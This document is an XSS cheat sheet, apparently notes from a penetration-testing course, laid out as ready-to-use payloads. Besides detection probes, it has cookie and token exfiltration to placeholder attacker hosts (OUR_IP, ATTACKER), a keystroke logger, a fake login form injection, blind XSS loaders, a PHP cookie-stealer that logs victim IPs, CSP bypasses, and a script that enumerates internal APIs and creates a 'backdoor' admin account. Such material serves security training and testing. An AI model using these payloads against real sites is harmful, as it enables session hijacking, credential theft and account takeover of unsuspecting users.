Cross-Site Scripting (XSS)
XSS from the CWES path: detection payloads, DOM sinks/sources, attribute/JS-context break-outs, session hijacking, blind XSS, phishing injection, keylogger, filter bypass, and the PHP cookie stealer. Every payload separated.
Detection
Script tag (HTML body):
<script>alert(window.origin)</script>
Image onerror (when <script> is blocked):
<img src="" onerror=alert(window.origin)>
SVG onload:
<svg onload=alert(1)>
Break out of a double-quoted attribute:
"><script>alert(1)</script>
Break out of a single-quoted attribute:
'><img src=x onerror=alert(1)>
Shotgun probe (both quote types):
'"><script>alert(1)</script>
DOM XSS
Test location.hash written to the DOM (in URL):
http://TARGET/page#"><img src=/ onerror=alert(document.cookie)>
Dangerous sinks to grep for in JS:
innerHTML outerHTML document.write() eval() setTimeout() location.href src
Sources that flow into sinks:
location.hash location.search document.referrer
Session hijacking
Leak the cookie via an Image request (stealthy):
new Image().src='http://OUR_IP/index.php?c='+document.cookie
fetch (stays on the page):
fetch('http://OUR_IP:8000/?cookie='+btoa(document.cookie))
Redirect with the cookie in the URL:
document.location='http://OUR_IP:8000/?cookie='+document.cookie
Blind XSS
Direct HTML context:
<script src=http://OUR_IP/username></script>
Single-quoted attribute context:
'><script src=http://OUR_IP></script>
Double-quoted attribute context:
"><script src=http://OUR_IP></script>
Phishing - fake login injection
document.write('<h3>Please login to continue</h3><form action=http://OUR_IP><input type="username" name="username" placeholder="Username"><input type="password" name="password" placeholder="Password"><input type="submit" name="submit" value="Login"></form>');document.getElementById('urlform').remove();
Keylogger (stored XSS)
<script>document.onkeypress = function(e){ fetch('http://OUR_IP:8000/?k='+e.key); }</script>
Filter bypass
Case variation:
<ScRiPt>alert(1)</ScRiPt>
SVG with slash:
<svg/onload=alert(1)>
Details ontoggle:
<details open ontoggle=alert(1)>
HTML entity encoding:
<script>alert(1)</script>
Cookie stealer (PHP, save as index.php)
<?php
if (isset($_GET['c'])) {
$list = explode(";", $_GET['c']);
foreach ($list as $key => $value) {
$cookie = urldecode($value);
$file = fopen("cookies.txt", "a+");
fputs($file, "Victim IP: {$_SERVER['REMOTE_ADDR']} | Cookie: {$cookie}\n");
fclose($file);
}
}
?>
DOM XSS — Sources and Sinks (full table)
| Source | How to inject |
|---|---|
location.search | ?param=PAYLOAD |
location.hash | #PAYLOAD |
document.referrer | Referer header |
window.name | Set before navigation |
postMessage | Cross-origin message |
| Sink | Exploit |
|---|---|
innerHTML / outerHTML | <img src=x onerror=alert(1)> |
document.write() | <script>alert(1)</script> |
eval() / setTimeout(str) | alert(1) |
location.href | javascript:alert(1) |
jQuery.html() | <img src=x onerror=alert(1)> |
grep -r "innerHTML\|document\.write\|eval(\|\.src\s*=\|location\.href" *.js
DOM XSS via postMessage
<iframe src="https://TARGET/page" id="f"></iframe>
<script>
document.getElementById('f').onload = function() {
this.contentWindow.postMessage('<img src=x onerror=alert(document.domain)>', '*');
};
</script>
CSP bypass
JSONP (trusted domain serves JSONP)
<script src="https://cdn.trusted.com/jsonp?callback=alert(1)//"></script>
Leaked/predictable nonce
<script nonce="LEAKED_NONCE">alert(1)</script>
unsafe-eval present
<script>eval('alert(1)')</script>
Trusted domain with open redirect
<script src="https://trusted.com/redirect?url=https://attacker.com/xss.js"></script>
Dangling markup injection
When CSP blocks scripts but you control HTML:
"><img src='https://ATTACKER/?data=
Everything between the injected tag and the next quote (CSRF tokens, API keys) gets sent to your server.
Client-side template injection (CSTI)
AngularJS (ng-app on the page):
{{constructor.constructor('alert(1)')()}}
{{$on.constructor('alert(1)')()}}
Test:
curl -s "https://TARGET/search?q={{7*7}}" | grep "49"
XSS in JavaScript string contexts
Single-quoted string: '; alert(1); var x='
Double-quoted string: "; alert(1); var x="
Template literal: `; alert(1); x=`
Event attribute (onmouseover="doSomething('USER_INPUT')") → ');alert(1);//
JSON assignment (var data = {"name":"USER_INPUT"}) → "}; alert(1); var x={"a":"
mXSS (Mutation XSS)
The browser mutates the payload after the sanitiser runs.
Namespace confusion
<svg><p><style><g title="</style><img src=x onerror=alert(1)>">
noscript
<noscript><p title="</noscript><img src=x onerror=alert(1)>">
Test in console
var div = document.createElement('div');
div.innerHTML = 'YOUR_PAYLOAD';
document.body.appendChild(div);
// if div.innerHTML differs from what you set → mutation
XSS → Internal API Enumeration
Steal auth token
var token = localStorage.getItem('token') || localStorage.getItem('authToken') || '';
fetch('https://ATTACKER/token?t=' + btoa(token));
Enumerate internal endpoints
var token = localStorage.getItem('token');
['/api/admin', '/api/users', '/api/config', '/internal/health', '/actuator/env'].forEach(function(ep) {
var xhr = new XMLHttpRequest();
xhr.onload = function() {
fetch('https://ATTACKER/enum?path=' + btoa(ep) + '&status=' + xhr.status + '&body=' + btoa(xhr.responseText.substring(0, 500)));
};
xhr.open('GET', ep, true);
if (token) xhr.setRequestHeader('Authorization', 'Bearer ' + token);
xhr.send();
});
POST to privileged action
fetch('/api/admin/users', {
method: 'POST',
headers: {'Content-Type': 'application/json', 'Authorization': 'Bearer ' + localStorage.getItem('token')},
body: JSON.stringify({username: 'backdoor', password: 'P@ssw0rd!', role: 'admin'})
}).then(r => r.text()).then(d => fetch('https://ATTACKER/result?d=' + btoa(d)));